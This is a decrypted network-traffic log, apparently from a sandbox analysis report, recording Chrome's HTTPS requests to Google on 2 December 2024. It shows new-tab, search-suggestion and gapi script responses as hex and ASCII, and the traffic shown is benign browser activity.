2024-12-02 10:20:13 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-SjkYjdwSBSuUohMJw3BIDA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:20:13 UTC	850	IN	Data Raw: 33 34 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 22 2c 22 6a 6f 68 6e 20 66 6f 72 63 65 20 72 61 63 69 6e 67 22 2c 22 66 6f 72 74 6e 69 74 65 20 62 61 74 74 6c 65 20 72 6f 79 61 6c 65 20 63 68 61 70 74 65 72 20 36 22 2c 22 69 6e 74 65 72 65 73 74 20 72 61 74 65 73 20 6d 6f 72 74 67 61 67 65 20 72 65 66 69 6e 61 6e 63 65 22 2c 22 62 72 6f 6e 73 6f 6e 20 72 65 65 64 20 69 6e 6a 75 72 79 20 73 75 72 76 69 76 6f 72 20 73 65 72 69 65 73 22 2c 22 6e 66 6c 20 67 61 6d 65 73 20 74 76 20 73 63 68 65 64 75 6c 65 20 74 6f 64 61 79 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 62 65 6e 65 66 69 74 73 20 63 6f 6c 61 20 32 30 32 35 22 2c 22 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 63 68 61 72 61 63 74 65 72 Data Ascii: 34b)]}'["",["nyt strands hints","john force racing","fortnite battle royale chapter 6","interest rates mortgage refinance","bronson reed injury survivor series","nfl games tv schedule today","social security benefits cola 2025","marvel rivals character
2024-12-02 10:20:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49726	142.250.69.4	443	9604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:20:12 UTC	718	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:20:13 UTC	1119	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 10:20:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:20:13 UTC	136	IN	Data Raw: 31 63 31 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 Data Ascii: 1c18)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 Data Ascii: \u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 20 67 62 5f 51 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 34 64 20 67 62 5f 44 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4e 64 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e Data Ascii: \/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Bc gb_Q\"\u003e\u003cdiv class\u003d\"gb_Cc\"\u003e\u003ca class\u003d\"gb_4d gb_Dc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Nd gb_6d\" aria-hidden
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 70 3f 68 6c 5c 75 30 30 33 64 65 6e 5c 75 30 30 32 36 61 6d 70 3b 74 61 62 5c 75 30 30 33 64 72 69 5c 75 30 30 32 36 61 6d 70 3b 6f 67 62 6c 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 5c 75 30 30 33 65 49 6d 61 67 65 73 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 52 65 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 32 63 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 62 64 20 67 62 5f 5a 20 Data Ascii: p?hl\u003den\u0026amp;tab\u003dri\u0026amp;ogbl\" target\u003d\"_top\"\u003eImages\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Re\"\u003e\u003cdiv class\u003d\"gb_2c\"\u003e \u003cdiv class\u003d\"gb_bd gb_Z
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 61 2d 6f 67 73 72 2d 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 77 61 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 41 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 20 61 70 70 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2f 70 72 6f 64 75 63 74 73 3f 74 61 62 5c 75 30 30 33 64 72 68 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 Data Ascii: a-ogsr-alt\u003d\"\" id\u003d\"gbwa\"\u003e\u003cdiv class\u003d\"gb_C\"\u003e\u003ca class\u003d\"gb_A\" aria-label\u003d\"Google apps\" href\u003d\"https://www.google.com/intl/en/about/products?tab\u003drh\" aria-expanded\u003d\"false\" role\u003d\"butt
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 63 20 67 62 5f 4f 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 31 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c Data Ascii: \u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003cdiv class\u003d\"gb_Qc gb_Oc\"\u003e\u003cdiv class\u003d\"gb_1c\"\u003e\u003cdiv class\u003d\"gb_Bc\"\u003e\u003cdiv class\u003d\"gb_Cc\
2024-12-02 10:20:13 UTC	789	IN	Data Raw: 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 7a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 7a 64 28 61 2c Data Ascii: ar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_.zd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.zd(a,
2024-12-02 10:20:13 UTC	391	IN	Data Raw: 31 38 30 0d 0a 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 5c 75 30 30 32 36 5c 75 30 30 32 36 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 2e 77 72 61 70 28 61 29 3a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 3b 44 64 5c 75 30 30 33 64 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 Data Ascii: 180typeof AsyncContext.Snapshot\u003d\u003d\u003d\"function\"?a\u003d\u003ea\u0026\u0026AsyncContext.Snapshot.wrap(a):a\u003d\u003ea;\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd;Dd\u003dclass extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i)return a
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 38 30 30 30 0d 0a 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 Data Ascii: 8000C\n SPDX-License-Identifier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.sub
2024-12-02 10:20:13 UTC	1255	IN	Data Raw: 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 Data Ascii: teScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49727	142.250.69.4	443	9604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:20:13 UTC	553	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:20:13 UTC	1034	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 10:20:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:20:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-02 10:20:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49735	192.178.49.206	443	9604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:20:16 UTC	922	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:20:16 UTC	903	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript; charset=UTF-8 Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 116987 Date: Mon, 02 Dec 2024 10:20:16 GMT Expires: Tue, 02 Dec 2025 10:20:16 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:41:25 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-02 10:20:16 UTC	352	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 Data Ascii: Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==ty
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 62 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 61 28 61 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 6e 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 5f 2e 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 Data Ascii: n"&&typeof d.prototype[a]!="function"&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return na(aa(this))}})}return 